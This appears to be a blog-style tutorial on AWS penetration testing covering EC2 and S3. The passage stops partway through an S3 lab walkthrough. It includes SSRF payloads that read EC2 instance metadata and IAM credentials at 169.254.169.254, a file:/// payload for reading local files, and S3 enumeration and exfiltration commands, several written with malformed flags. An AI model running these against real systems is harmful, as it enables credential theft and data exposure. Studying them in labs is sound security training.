AWS Penetration Testing: A Comprehensive Guide

Cloud environments have evolved in recent years with more and more companies migrating to cloud infrastructure hosted by providers like Amazon Web Services (AWS). As companies migrate their infrastructure to the cloud, they face new challenges, especially within the framework of the Shared Responsibility Model. This model, while empowering, introduces fresh vulnerabilities that can significantly impact a company’s security landscape.

In this post, we will cover existing testing methodologies and the specific steps required to conduct an AWS penetration test. Additionally, I’ve summed up an introduction to Amazon Web Services, attack vectors of the AWS platform, and the dangers of cloud environments, which are highly recommended reads if you are new to cloud pen-testing or AWS.

Testing and auditing AWS services for penetration testing purposes requires deep technical knowledge about all available configurations and possible security implications. I will also explain the two common methodologies and sources of security configurations in AWS.

Amazon Web Services itself is probably the best starting point to learn about the general security of AWS and its services via their Best Practices for Security, Identity, and compliance. Each service has its documentation which can be selected via the AWS Documentation page. This documentation is also useful in a penetration test, especially if a lesser-known AWS service is used.

Amazon Web Services itself is probably the best starting point to learn about the general security of AWS and its services via their Best Practices for Security, Identity, and Compliance. Each service has its documentation which can be selected via the AWS Documentation page. This documentation is also useful in a penetration test, especially if a lesser-known AWS service is used.

The Shared Responsibility Model

AWS uses a Shared Responsibility Model, divided into Security of the Cloud (AWS’s responsibility) and Security in the Cloud (customer’s responsibility). With the Security of the Cloud, AWS ensures the availability, management, and security of AWS services. This includes maintaining updates and security patches on which the services reside as well as the virtualization layers and physical security of the facilities and redundant services.

The customer’s Security in the Cloud, customers are responsible for securing their chosen services. For Infrastructure as a Service (IaaS), like an EC2 instance, customers need to configure and secure it extensively, including tasks such as installing updates, patches, and setting up network firewalls. On the other hand, more abstract services like Amazon S3 buckets require less customer configuration since AWS manages the infrastructure and operating system.

The most important thing is the configuration steps that the customer must take to manage the data used in the services and apply appropriate access permissions.

The Center of Internet Security (CIS) gives us free access to the Amazon Web Services Benchmark documents via their website(link). Available documents directly related to Amazon Web Services include:

• CIS AWS Foundations Benchmark v1.5.0
• CIS AWS End User Compute Services Benchmark v1.0.0
• CIS AWS Three-tier Web Architecture Benchmark v1.0.0

These documents focus on the general security configuration of an AWS platform. We can do security audits using these documents.

Purpose:

• Cloud Audit: The primary purpose of a cloud audit is to assess and ensure compliance with predefined standards, regulations, and security policies. It focuses on evaluating the adherence of cloud infrastructure to industry-specific requirements and internal policies.
• Cloud Penetration Testing: Penetration testing aims to identify and exploit vulnerabilities in a system. In the context of the cloud, it involves actively simulating cyberattacks to assess the security of the infrastructure, applications, and data. The goal is to find and address weaknesses before malicious actors can exploit them.

Outcome:

• Cloud Audit: The outcome of a cloud audit is an assessment of the cloud environment’s compliance status. It provides a report on whether the organization meets the required standards and regulations.
• Cloud Penetration Testing: The outcome of penetration testing is a detailed analysis of vulnerabilities discovered, potential exploits, and recommendations for improving security. It helps organizations understand their risk posture and enhance their security posture.

Cloud providers make it easier for companies to dynamically create new services, request resources per need, and outsource IT tasks. However, cloud environments are still evolving, which may introduce new vulnerabilities to the infrastructure, and especially with the Shared Responsibility Model, may introduce new risks to a company’s threat model during the migration of content to the cloud.

Now, let’s shift our focus to a more detailed examination of AWS penetration testing, building upon the general information provided earlier.

In a cloud penetration test, the initial step involves identifying, beyond the scoping process, the following aspects:

• Services utilized by the application (e.g., EC2 vs Lambda)
• Externally exposed services (e.g., S3 bucket with static CSS files and DynamoDB)
• Determining whether services are managed by AWS or the customer.

This process also entails enumerating and fingerprinting the cloud infrastructure to identify used components and any third-party software in place.

Which Techniques Are Commonly Used in AWS Penetration Testing Along an Attack Path?

In this section, we assume that we are already performing a cloud penetration test against a vulnerable application that uses various AWS services. I will mention penetration testing for most of the services that are used in AWS. Before giving information about penetration testing in each section, I will briefly explain the services in the relevant section. I will also provide information about commands used in penetration tests within each section. Let’s start.

Amazon Elastic Compute Cloud (Amazon EC2) is a core web service offered by Amazon Web Services (AWS). EC2 provides resizable compute capacity in the cloud, allowing users to run virtual servers, known as instances. These instances can be quickly scaled up or down based on demand. Amazon Machine Images (AMI) are images used to create virtual machines. It’s possible to create a malicious image to compromise users, so EC2 service is a good attack surface for AWS penetration testing.

a. Common Attack Vectors Targeting EC2:

• Weak Authentication: Using weak or default credentials for accessing EC2 instances can make them vulnerable to unauthorized access. It is essential to use strong, unique passwords or SSH keys.
• Open Ports and Services: Unused or unnecessary ports and services running on EC2 instances can be potential entry points for attackers. It’s essential to minimize the attack surface by closing unnecessary ports and services.
• Instance Metadata Exploitation: Attackers may attempt to exploit AWS instance metadata to gain unauthorized access or gather information about the EC2 instance. It’s crucial to restrict access to metadata and use appropriate IAM roles.
• Insecure AMIs (Amazon Machine Images): Using outdated or community AMIs that have not been properly vetted can introduce security vulnerabilities. It’s recommended to use official and regularly updated AMIs.
• Privilege Escalation: Insecure configurations or mismanagement of AWS Identity and Access Management (IAM) roles may lead to privilege escalation, allowing unauthorized users to gain elevated permissions.

b. Enumeration:

Enumerate information about the EC2 instances. EC2 instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance. Enumerate including public IP addresses, private IP addresses, DNS names, security groups, IAM roles, and metadata.

• Identify all EC2 instances’ public IP addresses and associated DNS names.
• Enumerate private IP addresses for internal communication and interaction with VPC.
• Identify security groups associated with each EC2 instance.
• Gather details about the VPC, subnets, and routing.
• List IAM users and roles associated with EC2 instances.
• OS version and patch level of each EC2 instance. Identify any known vulnerabilities associated with specific OS versions.
• Enumerate installed software and services on EC2 instances. Assess the versioning to identify any outdated or vulnerable software.
• Listing information about all instances (aws ec2 describe-instances)
• Listing information about a specific region (aws ec2 describe-instances –region region)
• Listing information about specific instance (aws ec2 describe-instances –instance-ids ID)
• Extracting UserData attribute of specified instance (aws ec2 describe-instance-attribute –attribute userData –instance-id instanceID (This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded.)
• Listing roles of an instance (aws ec2 describe-iam-instance-profile-associations)

c. Vulnerability Scanning:

AWS Inspector – Utilize AWS Inspector for agent-based vulnerability scanning on EC2 instances. Ensure that the AWS Inspector agent is properly installed and configured on target instances.

Third-Party Scanning Tools – Depending on the company preferences and tool availability we can use Nessus, Burp-Suite, or Qualys… as well as these tools, custom scripts can also be used.

Vulnerabilities found in the scan results should be evaluated as a false-positive or false-negative.

d. Exploitation: Initial access can happen by RCE or SSRF. Metadata can be used to exfiltrate information from the instance.

Remote Code Execution – If we have remote code execution or SSRF, we can grab metadata information.

• curl http://<ip adress>/latest/meta-data

For grabbing the keys to access the instance

• curl http://<ip adress>/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Now, I will demonstrate how to exploit an SSRF vulnerability on the vulnerable EC2 instance in the test environment.

Step 1: Login to https://www.vulnmachines.com/

Step 2: Navigate to “Challenges >> Cloud Labs >> Vulnerable Instance”.

Step 3: Click on “Lab Access” to navigate to tab.

Step 4: Here, I want to try SSRF vulnerability because it is the most common attack vector in AWS EC2 penetration testing. I tried and I found an SSRF vulnerability in the web application. Then I confirmed the SSRF vulnerability by adding a Burp collaborator link.

Step 5: Now I entered “http://169.254.169.254/” URL to read EC2 metadata as shown in the screenshot below. The IP address 169.254.169.254 is a magic IP in the cloud world. Check “https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html” URL to get more metadata information.

Step 6: Enter http://169.254.169.254/latest/ URL to read metadata.

Step 7: Enter “http://169.254.169.254/latest/user-data” to check the “user-data” directory.

As I can observe, the user cloudlab moved the “f149.txt” file to the root directory.

Step 8: Now enter “file:///f149.txt” payload to read the file.

6.2) Pentesting AWS Simple Storage Service Buckets (S3 Buckets)

Amazon S3 or Amazon Simple Storage Service is a service offered by Amazon Web Services that provides object storage through a web service interface. It contains lots of buckets. Think of a bucket as a top-level folder or directory where we can store and organize our data. Each bucket has a globally unique name within the AWS S3 namespace, and objects within a bucket are addressed using unique keys, so Simple Storage Service (S3) buckets are one of the most popular attack surfaces for AWS infrastructures, and they’re the most prone to hacking attacks.

a. Common Attack Vectors Targeting S3:

• Unsecured Buckets: Misconfigured bucket permissions can lead to unauthorized access. If a bucket is set to public access or has overly permissive access controls, it may expose sensitive data.
• Insecure Direct Object References (IDOR): If S3 bucket URLs or object references are predictable, attackers might be able to access or manipulate objects directly.
• Data Exposure: Leakage of sensitive data due to misconfigured or publicly accessible buckets can result in data exposure. This includes unintentional exposure of personally identifiable information (PII) or sensitive data.
• Bucket Enumeration: Attackers may try to identify valid bucket names through brute force or other means, potentially leading to unauthorized access.

b. Enumeration:

• Listing all buckets in aws account
  • aws s3 api list-buckets
• Getting information about a specific bucket
  • aws s3 api get-bucket-acl –bucket name
• Getting information about a specific bucket policy
  • aws s3 api get-bucket-policy –bucket name
• Getting the Public Access Block configuration for an S3 bucket
  • aws s3 api get-public-access-block –bucket name
• Listing all objects in a specific bucket
  • aws s3 api list-objects –bucket name
• Getting ACL information about specific object
  • aws s3api get-object-acl –bucket-name name –key object_name

Data Exfiltration

• It’s possible to brute-force files in the bucket.
• If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL.

Public Access: Just enter the URL in the browser

https://bucket-name.region.amazonaws.com/test.txt

Authenticated User: 

aws s3api get-object –bucket name –key object-name download-file-location

Time-Based URL: Generate a time-based URL for an object, useful if the object is not public.

aws s3 presign s3://bucket-name/object-name –expires-in 605000

Now I will show you step by step a simple CTF solution regarding S3 from the vulnmachines.

Step 1: Login to https://www.vulnmachines.com/

Step 2: Navigate to “Challenges >> Cloud Labs >> Misconfigured Bucket”.

Step 3: Click on “Lab Access” to navigate to tab.

Step 4: Now let’s try to list all objects by modifying the URL as shown in the screenshot below.

Here, bucket “vnm-sec-aws” is not public so it will not allow users to list all objects.

Step 5: Now, I will use AWS CLI to list all the objects of the “vnm-sec-aws” bucket. Use “https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html” to setup AWS CLI and use “aws configure” to add credentials as shown in below screenshot.